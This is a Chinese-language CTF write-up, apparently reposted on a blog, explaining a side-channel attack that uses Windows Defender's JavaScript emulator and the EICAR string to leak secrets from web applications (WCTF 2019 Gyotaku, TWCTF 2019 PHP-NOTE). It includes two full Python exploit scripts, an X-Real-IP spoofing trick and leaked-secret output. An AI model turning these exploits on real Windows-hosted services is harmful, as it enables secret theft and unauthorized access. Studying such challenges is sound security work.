Playing with Windows Defender

2019-09-08 约 603 字 预计阅读 3 分钟

声明:本文 【Playing with Windows Defender】 由作者 n0b0dy 于 2019-09-08 10:10:59 首发 先知社区 曾经 浏览数 180 次

感谢 n0b0dy 的辛苦付出!

本文章总结了TokyoWesterns在WCTF上命的Gyotaku和TWCTF上的PHP-NOTE这两道题涉及的Windows Defender相关的侧信道攻击。

Windows Defender

Windows defender是windows上的防护软件,TokyoWesterns在WCTF 2019上提出了一种针对于Windows Defender的侧信道攻击方式AVOracal。

windows defender行为

根据TokyoWesterns的调研,Windows Defender会进行以下行为:

  1. 检查文件内容中是否有恶意内容
  2. 改变恶意文件的权限避免用户访问
  3. 将文件中的恶意内容替换为null
  4. 删除恶意文件

其中在第二步中,如果恶意文件被Windows Defender检测出,用户则不能访问该文件。

触发Windows Defender

EICAR测试文件可以方便地触发windows defender,其文件内容如下:

X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*

Emulator

Windows Defender中的mpengine.dll是Windows Defender的核心dll。其包含对许多文件内容的分析功能,其中包含JScript引擎。该引擎可分析HTML文档,且可以分析其中的JavaScript代码,包括代码中对DOM元素的访问。

笔者在本机上进行测试,如下内容可以触发Windows Defender:

<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>

再访问该文件会被阻止:

PS C:\Users\n0b0dy\Desktop> type .\eicar.txt                                                       type : 无法成功完成操作,因为文件包含病毒或潜在的垃圾软件。                                            所在位置 行:1 字符: 1
+ type .\eicar.txt
+ ~~~~~~~~~~~~~~~~
    + CategoryInfo  : ReadError: (C:\Users\n0b0dy\Desktop\eicar.txt:String) [Get-Content], IOException
    + FullyQualifiedErrorId : GetContentReaderIOError,Microsoft.PowerShell.Commands.GetContentCommand

但是如果不加第二行var body = document.body.innerHTML;的话,则无法触发Windows Defender。

下文件会被阻止(通过dom获取最后一个字符):

<script>
var body = document.body.innerHTML;
var n = body[0];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+n;
eval(mal);
</script>
<body>*</body>

而以下文件则不会:

<script>
var body = document.body.innerHTML;
var n = body[0];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+n;
eval(mal);
</script>
<body>a</body>

根据该特性,侧信道攻击方式如下:

eval("EICA"+input) -> ?
    detected -> input is 'R'
    not detected -> input is not 'R'

Gyotaku (WCTF 2019)

题目链接:Gyotaku

这道题是WCTF中一道让TW很蛋疼的题。该题有一个/flag路径,只允许127.0.0.1访问。但是题目使用echo框架开发,echo.Context.RealIP可以被X-Real-IP: 127.0.0.1欺骗。于是这道题就被全场都做出来了。

预期解如下:

POST /gyotaku接受url参数,访问该url并将其返回内容储存,具体代码如下:

// save gyotaku
gyotakudata := &GyotakuData{
    URL:      url,
    Data:     string(body),
    UserName: username,
}

buf := bytes.NewBuffer(nil)
err = gob.NewEncoder(buf).Encode(gyotakudata)
if err != nil {
    return err
}
err = ioutil.WriteFile(path.Join(GyotakuDir, gid), buf.Bytes(), 0644)
if err != nil {
    return err
}

由于我们可以控制url和username,我们构造如下参数:

url=http://127.0.0.1/flag?a=<script>[script]</script><body>
username=</body>

则可以使生成的文件以被Windows Defender识别。其中[script]的内容如下:

<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>

其中${c}是猜测的字符,${idx}是body中的字符的索引。对每个字符,我们使用二分搜索来加速搜索速度。最终作者给出的exp如下:

import requests

URL = "http://192.168.122.78" # changeme

def randstr(n=8):
    import random
    import string
    chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
    return ''.join([random.choice(chars) for _ in range(n)])

def trigger(c, idx, sess):
    import string
    prefix = randstr()
    p = prefix + '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script><body>'''
    p = string.Template(p).substitute({'idx': idx, 'c': c})
    req = sess.post(URL + '/gyotaku', data={'url': 'http://127.0.0.1/flag?a=' + p})
    return req.json()

def leak(idx, sess):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        gid = trigger(m, idx, sess)
        if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
            l = m
        else:
            h = m
    return chr(l)

sess = requests.session()
sess.post(URL + '/login', data={'username': '</body>'+randstr(), 'password': randstr()})

data = ''
for i in range(30):
    data += leak(i, sess)
    print(data)

PHP-NOTE

由于WCTF的失误,这种攻击方式再TWCTF-2019中又出了一次。

首先在http://phpnote.chal.ctf.westerns.tokyo/?action=source中得到题目源码。映入眼帘的是一个反序列化:

class Note {
....
    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

if (is_login()) {
    $realname = $_SESSION['realname'];
    $nickname = $_SESSION['nickname'];

    $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
            ? unserialize(base64_decode($_COOKIE['note']))
            : new Note(false);
}

其中涉及到一个vertiry,用到一个secret:

function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}
.....
if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
    }
    redirect('index');
}

可知secret只与nickname有关。但是我们没法攻击hmac函数来获得secret。在看了一圈之后,我们发现服务器是IIS的:

Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.9

结合前文所述攻击手法,整理思路如下:

  1. PHP的session储存在文件系统中
  2. 向session中注入恶意内容让Windows Defender屏蔽生成的session文件
  3. 通过能否登录成功,我们可以逐字节泄露secret。

仿照Gyotaku的攻击脚本我们很容易写出exp:

#!/usr/bin/env python3

import requests

CHAL_URL = "http://phpnote.chal.ctf.westerns.tokyo/"
TEST_URL = "http://192.168.21.132/"

def trigger(c, idx, payload=''):
    sess = requests.Session()
    import string
    payload = '''--!><html><head><script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c},n)])};f(document.body.innerHTML[${idx}].charCodeAt(0));</script></head><body>'''
    payload = string.Template(payload).substitute({'idx': idx, 'c': c})
    d1 = {
        "nickname": "",
        "realname": payload,
    }
    resp = sess.post(CHAL_URL + "?action=login", data=d1)
    d = {
        "nickname": "1</body>",
        "realname": payload,
    }
    resp = sess.post(CHAL_URL + "?action=login", data=d)
    resp = sess.get(CHAL_URL + "?action=index")
    # print(sess.cookies)
    return "logout" not in resp.text

def leak(idx):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        res = trigger(m, idx)
        if res:
            l = m
        else:
            h = m
    return chr(l)

data = ""
for i in range(13,100):
    data += leak(i)
    print(data)

成功将secret泄露出:

➜  twctf-19 ./exp-phpnote.py                                                                     
:
:"
:"7
:"7d
:"7da
:"7dae
........
:"7daeeed052fd2908fb30f462ad1c7936
:"7daeeed052fd2908fb30f462ad1c7936"

之后构造反序列化即可得到flag。

Reference

关键词:[‘安全技术’, ‘WEB安全’]

相关文章:


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now